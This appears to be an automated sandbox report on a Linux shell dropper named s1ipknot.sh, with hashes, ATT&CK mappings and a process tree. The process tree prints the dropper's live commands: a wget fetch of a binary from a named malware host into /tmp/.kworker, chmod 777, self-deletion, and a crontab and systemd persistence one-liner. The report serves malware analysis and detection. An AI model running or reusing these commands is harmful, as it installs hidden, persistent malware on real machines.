b4ad4a20ca288d0b40392c1ca6f93143094d3b097a5da1803c2d0d89418700a9

General

Target
s1ipknot.sh
Size 2KB
Sample260511-mpk2jsay3q
SHA256 b4ad4a20ca288d0b40392c1ca6f93143094d3b097a5da1803c2d0d89418700a9
MD5 647dd8a994fc4c6486d5ff43f53bf03c
SHA1 019c1d71d58d76b3ff2ad8a727f254826b595f91
SHA512 5df44c4b317f1cd535cbd294cdacf9c5ea7bacffbd2c52000545b5f10a96efb45aa24f51df0c87420ea226ea357bda1c5d8f1011a8a4f939ff98f7459ae06779
TLSH
T17B41E0DBBC62B133978EC03E23AD6406A487992B457C1D38704D6C347F784A4F8796B9
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
744	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.kworker	742	s1ipknot.sh

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	205.185.115.131
Destination IP	205.185.115.131

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.0acLgO	crontab

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kworker/0:0]	745	.kworker

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
714	s1ipknot.sh
722	dd
730	wget
743	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.kworker	wget

/tmp/s1ipknot.sh
/tmp/s1ipknot.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:714
- /bin/uname
  uname -m
  2⤵
  PID:718
- /bin/dd
  dd "if=/bin/busybox" "bs=1" "skip=5" "count=1"
  2⤵
  - System Network Configuration Discovery
  PID:722
- /usr/bin/od
  od -An -td1
  2⤵
  PID:723
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:724
- /bin/rm
  rm -f /tmp/.kworker
  2⤵
  PID:728
- /usr/bin/wget
  wget -q -O /tmp/.kworker http://data.913337.xyz/wp-content/upgrade/cache/kaf.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /bin/rm
  rm -f /tmp/s1ipknot.sh
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod 777 /tmp/.kworker
  2⤵
  - File and Directory Permissions Modification
  PID:744

/tmp/.kworker
/tmp/.kworker
1⤵
- Changes its process name
PID:742
- /bin/sh
  sh -c -- "(crontab -l 2>/dev/null | grep -v '/tmp/.kworker'; echo '@reboot /tmp/.kworker'; echo '*/5 * * * * /tmp/.kworker') | crontab - 2>/dev/null"
  2⤵
  PID:751
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    - Reads runtime system information
    PID:754
- - /usr/bin/crontab
    crontab -l
    3⤵
    - Reads runtime system information
    PID:753
- - /bin/grep
    grep -v /tmp/.kworker
    3⤵
    PID:755
- /bin/sh
  sh -c -- "systemctl daemon-reload"
  2⤵
  PID:756
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:757
- /bin/sh
  sh -c -- "systemctl enable toxnet.service"
  2⤵
  PID:770
- - /bin/systemctl
    systemctl enable toxnet.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:771
- /bin/sh
  sh -c -- "systemctl start toxnet.service"
  2⤵
  PID:792
- - /bin/systemctl
    systemctl start toxnet.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:793

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rc.local

Path /etc/rc.local
Size 16B
SHA256 a0735432d4e4b017ec480f979a0e3c86c6457e62603e8ef4d2d282de55883164
MD5 70a4dd42731ef8a8adff3af6cfe128a9
SHA1 335b8c5d61b698fa083299ee101e569b26715844
SHA512 c86b39c40556d70a05dcb9e529b350c1bc204cbe890da89f86ea80ea5994920d9e7f765ae27328a90730a42bde055456892c3dfc0df39394c9b6fea6dc81109a
MD5 SHA1 SHA512

Submit Download

toxnet.service

Path /etc/systemd/system/toxnet.service
Size 165B
SHA256 065bad4f533c48a172633a2aea24ff6b2bf9c742f701d7410602b690b8c4101d
MD5 3e100defdf1ee9feafa1a9ffc1ce2531
SHA1 cacff3138f3214c49e454b637e48ce00102c290d
SHA512 7150b43b37a501e422035796026f643b01d0b9fabde096d4e5e68114a693b80b118c076c58dbac6eacdc50e3b7012add0f911ca1a7a244514c6da265901dc4dc
TLSH
T1D9C0805369311491CD4F35724FE26B409D1045414BCDD1740FD05C5604D5147525559D
MD5 SHA1 SHA512 TLSH

Submit Download

.kworker

Path /tmp/.kworker
Size 2.4MB
SHA256 ec98196a3d6ad70536d4d857a6403da5e53c08b2ecaea5b3f2dfa26525ed607b
MD5 02080dc0ea20d34efd6accb93c2dadad
SHA1 45f03496405b1aeff486edf2f7dfa23d3123cf81
SHA512 b73bd913f69aa21907e78045c831f6db4a3d0bbb311b2a4e73877849f18bfc85b43fb1ba0fbbb96a0805cbf3838784ba5a7d0c7c3158b281ceddf7ef4ec88dd2
SSDEEP 24576:cOeebopeZYParUkR/Zlug4eXQx3ALKaf0iK/I4BN2h:Reesujrtz4eXQxQI/56h
TLSH
T1FFC5F93B7710FB6DD274C63009F25AF4C6B224632AE65461B379C62CBEA111C1C9F9E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.0acLgO

Path /var/spool/cron/crontabs/tmp.0acLgO
Size 223B
SHA256 1e4cee2d002a9e2e0cdb0c02a546fb324846b277b2ef40fffd1d54e802699db1
MD5 92ba0b6578a2b890f6525743c418ef53
SHA1 060c022e7244cb9ed97a7a9e3abdb518e8929e72
SHA512 fee6c07a56744aa92546061254d7a0117411ed1572298a7d3c998c67091e29fdc0781ffa09cdd75b677bba3ba1c5e814f88a177be140522f3b39e4560e8f19c1
TLSH
T1DFD0232DBF10157015063795601F0725F841D06DC04D5F50E1AC5434425F74D6754961
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads